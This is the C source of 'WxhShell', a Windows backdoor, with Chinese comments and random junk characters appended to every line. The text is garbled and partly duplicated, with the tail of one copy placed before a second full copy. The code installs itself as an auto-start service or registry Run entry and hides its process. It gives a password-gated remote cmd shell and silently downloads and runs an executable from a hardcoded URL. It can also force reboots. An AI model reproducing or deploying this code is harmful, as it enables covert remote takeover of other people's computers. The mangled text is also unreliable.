    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rxlv:  
    if(Boot(SHUTDOWN)) V U5</si+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zx.SRs$  
    else { lq, ]E/<&  
    closesocket(wsh); kDM?`(r  
    ExitThread(0); U&a(WQV9&  
    } ~.0'v [N  
    break; '^[+]  
    } w8J8III\~  
  // 获取shell Zt=P 0  
  case 's': { y+{)4ptg$<  
    CmdShell(wsh); )ZrB-(u~k  
    closesocket(wsh); p T z]8[^  
    ExitThread(0); fy|I3  
    break; @>J(1{m=Gy  
  } RQ^ \|+_  
  // 退出 W@'*G*f  
  case 'x': { b^ [ z'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mh SknyqT  
    CloseIt(wsh); 1~LfR  
    break; v*<rNZI  
    } UTN[! 0[  
  // 离开 .P?n<n#  
  case 'q': { 2Yd@ V}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [cl+AV "  
    closesocket(wsh); 2cRru]VZ5  
    WSACleanup(); I Xm[c@5l  
    exit(1); $% gz, {  
    break; .n)R@&9  
        } ue'dI   
  } I'p+9H$  
  } }4h0 {H  
:2C <;o  
  // 提示信息 >Q[ Z{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SB.=x  
} ?cKTeGrS  
  } ,IE.8h)H  
WpnP^gmX  
  return; %f1IV(3Qc  
} Hr!$mf)h  
-Wh 2hWg+  
// shell模块句柄 {9x>@p/  
int CmdShell(SOCKET sock) ;f N^MW@&[  
{ T0)bnjm  
STARTUPINFO si; )EKWsGNe/  
ZeroMemory(&si,sizeof(si)); .jtv Hr}U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]+B.=mO_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^W@%(,xb  
PROCESS_INFORMATION ProcessInfo; (~E-=+R[$&  
char cmdline[]="cmd"; z5Tsu1 c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t+]1D@hv  
  return 0; H=g%>W%3  
} `<| <1,  
|>m'szca4  
// 自身启动模式 6KXW]a `  
int StartFromService(void) c14d0x{  
{ B I3fk  
typedef struct <hTHY E=  
{ i1m>|[@k  
  DWORD ExitStatus; F[!%,-*  
  DWORD PebBaseAddress; |JHNFs  
  DWORD AffinityMask; ,Oy$q~.  
  DWORD BasePriority; EBz4k)@m  
  ULONG UniqueProcessId; Z2H bAI8  
  ULONG InheritedFromUniqueProcessId; U,61 3G  
}   PROCESS_BASIC_INFORMATION; nKnrh]hX  
eMmNQRmH  
PROCNTQSIP NtQueryInformationProcess; #d/T7c#  
~UNha/nt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l(}L-:@A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _2{_W9k  
iF837ng5  
  HANDLE             hProcess; op9vz[o#4  
  PROCESS_BASIC_INFORMATION pbi; OJJ [Er1  
w%\{4T~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [6_.Y*}N  
  if(NULL == hInst ) return 0; Yh fQ pe  
4dLnX3 v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q5'G]j{,Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pPo(nH|<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?_A[E]/H  
d!Gy#<H  
  if (!NtQueryInformationProcess) return 0; ]7yxXg  
z\" .(fIV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tY!l}:E[  
  if(!hProcess) return 0; ud BIEW,`  
N}ND()bf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S4{vS?>j  
!J X7y%J  
  CloseHandle(hProcess); '-[hy>t  
Z~8%bfpe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &NoA, `|7  
if(hProcess==NULL) return 0; WWZ<[[ >  
 (FaYagD  
HMODULE hMod; bDJ!Fc/  
char procName[255]; q1x[hv3 pP  
unsigned long cbNeeded; ~9yK MUf  
tgi%#8ZDpz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vR2);ywX  
Dc$q0|N=z  
  CloseHandle(hProcess); Pc< "qy  
:9%e:-  
if(strstr(procName,"services")) return 1; // 以服务启动 ~_N,zw{x  
z>,M@@  
  return 0; // 注册表启动  ^RT_Lky  
} Y&U-d{"  
v {uq  
// 主模块 2 rf8)8':  
int StartWxhshell(LPSTR lpCmdLine) n8_X<jIp3  
{ =N{?ll6x7g  
  SOCKET wsl; :l!sKT?:d!  
BOOL val=TRUE; l>pB\<LL  
  int port=0; xRhGBb{@s  
  struct sockaddr_in door; oq!\100  
K\XQ E50  
  if(wscfg.ws_autoins) Install(); :( m, 06K  
]y=U"g  
port=atoi(lpCmdLine); ?Fn y_{&^H  
9lR6:}L7  
if(port<=0) port=wscfg.ws_port; V;"2=)X  
KW[y+c u.#  
  WSADATA data; 'q |"+;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c$2kR:  
.ve_If-Hg  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7vFmB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4dCXBTT  
  door.sin_family = AF_INET; etiUt~W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M:%g)FgW  
  door.sin_port = htons(port); vN],9 q  
f'(F'TE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3'`&D/n  
closesocket(wsl); Y$n+\K  
return 1; f77W{T4  
} L/-SWid)  
ol/@)k^s>  
  if(listen(wsl,2) == INVALID_SOCKET) { 7z1@XO<D  
closesocket(wsl); LmqSxHs0Q  
return 1; 'h'pM#D  
} Tgtym"=xd  
  Wxhshell(wsl); DzE^FY  
  WSACleanup(); Y<VX.S2kf  
wzd(= *N  
return 0; D})/2O p   
#-G@p  
} Ot`%5<E^  
\y=28KKc:c  
// 以NT服务方式启动 zNrn|(Y%Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q5Nbu90  
{ (:`4*xK  
DWORD   status = 0; (Z?f eUxp  
  DWORD   specificError = 0xfffffff; nA(" cD[,  
qp6'n&^&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H%U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t`|Rn9-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @YH>|{S&  
  serviceStatus.dwWin32ExitCode     = 0;  =5B5  
  serviceStatus.dwServiceSpecificExitCode = 0; [#Gu?L_W  
  serviceStatus.dwCheckPoint       = 0; @#t<!-8d  
  serviceStatus.dwWaitHint       = 0; E=,5%>C0#%  
Zn r4^i&(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6:B,ir _  
  if (hServiceStatusHandle==0) return; ]J!#"m-]  
F)Q[ cai  
status = GetLastError(); <5pNFj}0;X  
  if (status!=NO_ERROR) >h#juO"  
{ EHn!ZrQgh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pqpsa'  
    serviceStatus.dwCheckPoint       = 0; ?#:']q  
    serviceStatus.dwWaitHint       = 0; vvxD}p=y  
    serviceStatus.dwWin32ExitCode     = status; L v/}&'\(  
    serviceStatus.dwServiceSpecificExitCode = specificError; )rj!/%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5~DKx7P!Z  
    return; Aqf91 [c  
  } 8WP"~Js!  
ineSo8| @  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y_ne?/sZE  
  serviceStatus.dwCheckPoint       = 0; t!/~_}eDJ  
  serviceStatus.dwWaitHint       = 0; exiu;\+j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); SUMfebW5  
} ;r"r1'a+@  
%gFIu.c  
// 处理NT服务事件,比如:启动、停止 ((`{-y\K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lrKT?siB  
{ ;0oL*d[1Z  
switch(fdwControl) Y#V(CIDe  
{ x+6z9{O  
case SERVICE_CONTROL_STOP: urx?p^c  
  serviceStatus.dwWin32ExitCode = 0; J9 NuqV3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #'%ii,;w Q  
  serviceStatus.dwCheckPoint   = 0; (VN'1a (  
  serviceStatus.dwWaitHint     = 0; oz{X"jfu  
  { WeH_1$n5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W[)HFh(#  
  } 7i xG{yu  
  return; kDm uj>D  
case SERVICE_CONTROL_PAUSE: 0Q7<;'m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }[PwA[k'  
  break; F3!@|/<w  
case SERVICE_CONTROL_CONTINUE: #BBDI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N5;z5E  
  break; a-,*iK{_u  
case SERVICE_CONTROL_INTERROGATE: @"fv[=Xb  
  break; !=.y[Db=  
}; JC~sz^>p\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !] uB4  
} }6%\/d1~ 6  
t-C|x)J+  
// 标准应用程序主函数 U ^O4HJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2Q@n a @s  
{ iExKi1knx  
dba_(I~y  
// 获取操作系统版本 MYara;k  
OsIsNt=GetOsVer(); `{Oqb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K*Ba;"Ugeg  
!*&5O~dfN  
  // 从命令行安装 {4 vWSb  
  if(strpbrk(lpCmdLine,"iI")) Install(); |#cqxr"  
iY@}Q "  
  // 下载执行文件 MH'%E^n `  
if(wscfg.ws_downexe) { <eSg%6z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =*ErN  
  WinExec(wscfg.ws_filenam,SW_HIDE); h~ _i::vg  
} l{8O'4;  
g]z k`R5  
if(!OsIsNt) { B!quj!A  
// 如果时win9x,隐藏进程并且设置为注册表启动 lW#2ox  
HideProc(); Y9#dAI[Gce  
StartWxhshell(lpCmdLine); 1:T"jsWw  
} ET9tn1  
else ZyNgG9JL]  
  if(StartFromService()) O_2o/  
  // 以服务方式启动 m2(}$z3e  
  StartServiceCtrlDispatcher(DispatchTable); Ucy=I$"  
else dI7rx+L  
  // 普通方式启动 lbovwj  
  StartWxhshell(lpCmdLine); $0$sDN6)x  
O!dS;p-F  
return 0;  }+/Vk  
} xh#_K@8  
!WlL RkwO  
PuZzl%i P3  
b+whZtNk7  
=========================================== Z7y%  
,Q Ge=Exn  
/[>_Ry,  
NkGtZ.!pk  
>+i+_^]  
Er@xrhH  
" M8 Bp-_  
"\;n t5L  
#include <stdio.h> (HeSL),1  
#include <string.h> z$m(@Q  
#include <windows.h> w0$+v/  
#include <winsock2.h> Gb[J3:.  
#include <winsvc.h> g6DIWMoO=h  
#include <urlmon.h> gk8 v{'0Er  
7vPG b:y  
#pragma comment (lib, "Ws2_32.lib") .HY,'oC.  
#pragma comment (lib, "urlmon.lib") It/'R-H  
 Y~^R^J  
#define MAX_USER   100 // 最大客户端连接数 $;ny`^8  
#define BUF_SOCK   200 // sock buffer |p*cI @  
#define KEY_BUFF   255 // 输入 buffer {*hGe_^  
{y@8E>y5$  
#define REBOOT     0   // 重启 =$#5Ge]b  
#define SHUTDOWN   1   // 关机 OC,yLQ  
4n(w{W>  
#define DEF_PORT   5000 // 监听端口 .%W.uF^  
#;8VBbc\^  
#define REG_LEN     16   // 注册表键长度 >HwVP.~HN  
#define SVC_LEN     80   // NT服务名长度 d<=!*#q;o  
/03 Wst  
// 从dll定义API DU*qhW`X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PK&&Vu2M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yF|yZ{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 751Q i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $1s>efP-  
HXdo:#xEO  
// wxhshell配置信息 PW"?* ~&  
struct WSCFG { ?@MY+r_G  
  int ws_port;         // 监听端口 ~LF M,@  
  char ws_passstr[REG_LEN]; // 口令 L* 6<h  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^P [#YO  
  char ws_regname[REG_LEN]; // 注册表键名 A`(Cuw-o  
  char ws_svcname[REG_LEN]; // 服务名 O<>+l*bk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .pl,ujv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @*6_Rp"@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o^d|/;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }NV<k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zU0JwZi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SV95g@  
U m`KmM3  
}; 4V]xVma  
5?(dI9A"K  
// default Wxhshell configuration <H<Aba9\  
struct WSCFG wscfg={DEF_PORT, WyQ8}]1b  
    "xuhuanlingzhe", ,_7m<(/f  
    1, X>yE<ni  
    "Wxhshell", {~g7&+9x*  
    "Wxhshell", Z!'k N\z  
            "WxhShell Service", g?j^d:  
    "Wrsky Windows CmdShell Service", "<&o ;x<  
    "Please Input Your Password: ", #sv}%oV,F  
  1, l_2l/ff9  
  "http://www.wrsky.com/wxhshell.exe", L4u.cH J}0  
  "Wxhshell.exe" Q>w)b]d~c  
    }; wax^iL!  
_q@lP|  
// 消息定义模块 e2nZwPH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ? )IH#kL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^Nav8dma  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R*ex!u60M  
char *msg_ws_ext="\n\rExit."; Q3t%JP>;g  
char *msg_ws_end="\n\rQuit."; =q"0GUei3  
char *msg_ws_boot="\n\rReboot..."; ?"}U?m=  
char *msg_ws_poff="\n\rShutdown..."; 0,__{?!  
char *msg_ws_down="\n\rSave to "; v )2yR~J  
{JKG-0)z?  
char *msg_ws_err="\n\rErr!"; oOXJ7 |n  
char *msg_ws_ok="\n\rOK!"; @ K2Ncb7  
/<O9^hA|  
char ExeFile[MAX_PATH]; !#olG}#[  
int nUser = 0; GV9pet89yu  
HANDLE handles[MAX_USER]; [>j.x2=  
int OsIsNt; bgInIe  
Ia^/^>  
SERVICE_STATUS       serviceStatus; )J[Ady^5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .'-t>(}v  
[a^<2V!vMn  
// 函数声明  1&=2"  
int Install(void); rX`fjS*C  
int Uninstall(void); ZiH4s|  
int DownloadFile(char *sURL, SOCKET wsh); bhZ5-wo4%  
int Boot(int flag); |NjyO>@Pa  
void HideProc(void); wlP% U  
int GetOsVer(void); e6T?2`5P  
int Wxhshell(SOCKET wsl); +}-cvM/*  
void TalkWithClient(void *cs); FklO#+<:  
int CmdShell(SOCKET sock); `\BBdQ#bH  
int StartFromService(void); {+9t!'   
int StartWxhshell(LPSTR lpCmdLine); "JYWsE  
:c[T@[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ')fIa2dO/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EScy!p\*  
f,-'eW/j  
// 数据结构和表定义 cZt5;"xgr]  
SERVICE_TABLE_ENTRY DispatchTable[] = Au )%w  
{ @$!"}xDR'  
{wscfg.ws_svcname, NTServiceMain}, 9*?YES'6  
{NULL, NULL} c8cGIAOY)  
}; UyNP:q:  
qNkX:|j  
// 自我安装 "MOmJYH  
int Install(void) K<u~[^R  
{ _xP@kN~  
  char svExeFile[MAX_PATH]; Tl^)O^/  
  HKEY key; 4)N~*+~\h  
  strcpy(svExeFile,ExeFile); g-+/zEOUS  
kw1Lm1C  
// 如果是win9x系统,修改注册表设为自启动 LyNur8 Zi  
if(!OsIsNt) { D6FG$SV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kN vNV(4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v[m1R'  
  RegCloseKey(key); *b1NVN$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B8V85R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6y@o[=m  
  RegCloseKey(key); DsiyN:o'+  
  return 0; q1%xk =8  
    } Sa6YqOel@  
  } "9H#pj -  
} JCITIjD7=  
else { CT{ X$N  
f%STkL)  
// 如果是NT以上系统,安装为系统服务 IS!]!s'EI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lb2/ Te*  
if (schSCManager!=0) mgEZiAV?  
{ =Ajw(I[56  
  SC_HANDLE schService = CreateService n]wZ7z  
  ( .-p?skm=a  
  schSCManager, 79M` ?xm  
  wscfg.ws_svcname, y;LZX-Z-  
  wscfg.ws_svcdisp, ?kc,}/4  
  SERVICE_ALL_ACCESS, A^ry|4`3(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pkA(\0E8  
  SERVICE_AUTO_START, tpKQ$) ed  
  SERVICE_ERROR_NORMAL, <UJ5n) }"\  
  svExeFile, &)Iue<&2  
  NULL, 5kj=Y]9\I  
  NULL, C5#$NV99p  
  NULL, :Us NiR=l  
  NULL, 8DlRD$_:&  
  NULL a^9}ceu?   
  ); &R}2/Mt  
  if (schService!=0) /vFdhh  
  { `ve5>aw0_Y  
  CloseServiceHandle(schService); eN I6V/\`  
  CloseServiceHandle(schSCManager); xTdh/}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZCkwK  
  strcat(svExeFile,wscfg.ws_svcname); !iGZo2LV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8~h.i1L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?u M2|Nk  
  RegCloseKey(key); Yg")/*!H  
  return 0; gM Z `  
    } [ Q20c<,  
  } 2ISnWzq;  
  CloseServiceHandle(schSCManager);  qr7_3  
} q%}54E80  
} +p)kemJ~  
@X0$X+]E*8  
return 1; H52] Zm  
} 3sBu`R*hk  
s$OnQc2/  
// 自我卸载 \Ot,&Z k2  
int Uninstall(void) p< jM%fbZk  
{ ais"xm<V  
  HKEY key; B976{;QvXV  
sBu- \P#  
if(!OsIsNt) { A! !W\Jt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p\/;^c`7  
  RegDeleteValue(key,wscfg.ws_regname); k7Xa|&fQP<  
  RegCloseKey(key); 5?4jD]Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \!:^=2VF  
  RegDeleteValue(key,wscfg.ws_regname); S4(lC%$|  
  RegCloseKey(key); d+Jj4OnP  
  return 0; /=ro$@  
  } ZZ{:f+=?$  
} n8>( m,  
} q:ZF6o`Z83  
else { m]:|j[!*M  
th(<S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); WMd5Y`y  
if (schSCManager!=0) >`c-Fqk  
{ YXhxzH hPd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); keWqL]  
  if (schService!=0) 2p|[yZ  
  { 'I roQ M  
  if(DeleteService(schService)!=0) { ojZvgF  
  CloseServiceHandle(schService); V,)bw  
  CloseServiceHandle(schSCManager);  h48 jKL(  
  return 0; ^iaG>rvA  
  } VKp4FiI6  
  CloseServiceHandle(schService); 0')O4IHH  
  } 8DP] C9  
  CloseServiceHandle(schSCManager); =7uxzg/%Tj  
} w#M66=je_  
} E%6}p++  
7nAB^~)6l  
return 1; c)OQ_3xOs  
} aI:G(C?jm  
7 xm>+(  
// 从指定url下载文件 c:MP^PWc  
int DownloadFile(char *sURL, SOCKET wsh) Fv"jKZPgzz  
{ w qLY \  
  HRESULT hr; 8n^v,s>  
char seps[]= "/"; w{; esU  
char *token; nv^nq]4'Dq  
char *file; yb:Xjg7   
char myURL[MAX_PATH]; k&PxhDf  
char myFILE[MAX_PATH]; qXJBLIG  
&}G2;O}3  
strcpy(myURL,sURL); V.*0k~  
  token=strtok(myURL,seps); xr*hmp1  
  while(token!=NULL) VUaYK  
  { }&OgIo+  
    file=token; k-&fPEjG  
  token=strtok(NULL,seps); h}o7/p  
  } #4e Taik  
y QxzFy  
GetCurrentDirectory(MAX_PATH,myFILE); yH0BNz8V  
strcat(myFILE, "\\"); 3-5X^!C  
strcat(myFILE, file); -_RMiGM?T  
  send(wsh,myFILE,strlen(myFILE),0); Oy^)lF/  
send(wsh,"...",3,0); QK3j.Ss  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6Tn.56X  
  if(hr==S_OK) xG^6'<  
return 0; DPE]<oM  
else pO.+hy  
return 1; gE>_:s   
3"Y |RSy  
} 4iiW{rh4  
prx)Cfv  
// 系统电源模块 Z2,[-8,Kx  
int Boot(int flag) [80L|?, *  
{ E6  2{sA^  
  HANDLE hToken; 1 \_S1ZS  
  TOKEN_PRIVILEGES tkp; t_PAXj  
D`2c61jyc  
  if(OsIsNt) { |Y6+Y{|\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *0GR }k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VYb6#sl  
    tkp.PrivilegeCount = 1; h`0'27\C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ySLa4DQf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :eIu<_,}  
if(flag==REBOOT) { %\5d?;   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {uQp$`  
  return 0; i,DnXgmz@  
} n .{Ud\|  
else { mBC?Pg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))   SW ^F  
  return 0; G G]4g)O5  
} )!:}R}q  
  } 7n,*3;I  
  else { Vnu*+  
if(flag==REBOOT) { #3l&N4/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f?OFMac  
  return 0; Ungex@s_  
} ([y2x.kd  
else { Hvto]~=GQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nS8oSs_  
  return 0; QN!$41A?{  
} HD1+0<  
} [f9U9.fR  
aB6F<"L,  
return 1; a&3pPfC  
} Gy+/P6  
Gf(|?" H  
// win9x进程隐藏模块 iB  =R  
void HideProc(void) '+6SkZ  
{ ^{3,ok*Nf  
9U[ A   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BM_hW8&G  
  if ( hKernel != NULL ) \zA G#{  
  {  Hy _ (  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w^e5"og]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >}tm8|IHoo  
    FreeLibrary(hKernel); &&/2oP+z  
  } 7$8YBcZ6  
" Zo<$p3]  
return; h/7m.p]  
} fO+$`r>9  
1Y2]jz4  
// 获取操作系统版本 i/j DwA  
int GetOsVer(void) s}NE[Tw  
{ 8ug\GlZc  
  OSVERSIONINFO winfo; E>t5/^c)*w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HAof,* h$  
  GetVersionEx(&winfo); g]sc)4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8J}gj7^8  
  return 1; osS?SuQTE  
  else JVPl\I  
  return 0; r &<sSE;5  
} W+v7OSd92  
VM 3~W  
// 客户端句柄模块 s  bl> i  
int Wxhshell(SOCKET wsl) g%P6f  
{ s<f<:BC  
  SOCKET wsh; 73b(A|kQ@  
  struct sockaddr_in client; Qy>n]->%  
  DWORD myID; N,F mu  
Z2HH&3HA  
  while(nUser<MAX_USER) hRU.^Fn#%  
{ &LRO^[d  
  int nSize=sizeof(client); {tq.c9+!d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bqmb|mD  
  if(wsh==INVALID_SOCKET) return 1; @WmEcX|  
s4RqY*VK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]kXiT Yg  
if(handles[nUser]==0) rHzwSR@}1  
  closesocket(wsh); &!|'EW  
else P4&3jQ[o  
  nUser++; i&%~:K*  
  } {h< V^r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R^DZ@[\iV  
) =KD   
  return 0; Hs}3c R}  
} g j(|#n5C  
Fx6c*KNX3  
// 关闭 socket =l7@YCj5c  
void CloseIt(SOCKET wsh) - '<K_e;  
{ 2pKkg>/S  
closesocket(wsh); G?p !*7N  
nUser--; p_^Jr*Mv  
ExitThread(0); = ;hz,+  
} it Byw1/  
(n4\$LdP-  
// 客户端请求句柄 3`%]3qd}  
void TalkWithClient(void *cs) Oz3JMZe  
{ U`G  
%\i OX|F_  
  SOCKET wsh=(SOCKET)cs; k}MmgaT:5]  
  char pwd[SVC_LEN]; >bwB+-lyL  
  char cmd[KEY_BUFF]; #(i9G^K  
char chr[1]; FTVV+9.l:  
int i,j; 0Nvk|uI V[  
+v!% z(  
  while (nUser < MAX_USER) { Zb p+b;  
RM\A$.5  
if(wscfg.ws_passstr) { K{]9Yo  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zWN<"[agc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }:04bIaV  
  //ZeroMemory(pwd,KEY_BUFF); ,>YW7+kY  
      i=0; z( 00"ei  
  while(i<SVC_LEN) { >-%tvrS%  
/6K9? /  
  // 设置超时 SauX C  
  fd_set FdRead; RgB5'$x}  
  struct timeval TimeOut; (hB+DPi  
  FD_ZERO(&FdRead); G+?Z=A:T8  
  FD_SET(wsh,&FdRead); <D_UF1Pk  
  TimeOut.tv_sec=8; ?pBQaUl&  
  TimeOut.tv_usec=0; y'$R e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bdS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2LO8SJ#  
I34|<3t$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vx gP^*  
  pwd=chr[0]; xtWwz}^8]  
  if(chr[0]==0xd || chr[0]==0xa) { CyR1.|!@  
  pwd=0; kYW>o}J|  
  break; *n"{]tj^>  
  } PVCFh$pnw  
  i++; q(Q$lRj/I-  
    } ?RP&XrD  
UrMEL; @g  
  // 如果是非法用户,关闭 socket n+'gVEBA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IqA'Vz,lL  
} b.N$eJlQ&  
Oq`CKf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f/?uo sS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Z}8"VJr {  
,8tk]W[C  
while(1) { ro %Jg  
_~QiQDq  
  ZeroMemory(cmd,KEY_BUFF); 8q}955Nl  
4X}.aZO&b  
      // 自动支持客户端 telnet标准   =._V$:a6o  
  j=0; ~W>3EJghR,  
  while(j<KEY_BUFF) { A$7j B4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;4%Co)Rw  
  cmd[j]=chr[0]; 3J3Yt`  
  if(chr[0]==0xa || chr[0]==0xd) { q6]T;)U&  
  cmd[j]=0; 9I|D"zXn  
  break; pO_$8=G+  
  } ;h7W(NO~z  
  j++; &1 BACKu  
    } 6zZT5 Kn  
)/p=ZH0[  
  // 下载文件 D\4pLm"!v  
  if(strstr(cmd,"http://")) { Pg''>6w>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^oLMgz  
  if(DownloadFile(cmd,wsh)) -4;$NiB?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vWs#4JoG  
  else ` P,-NVB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 59@PY!c>  
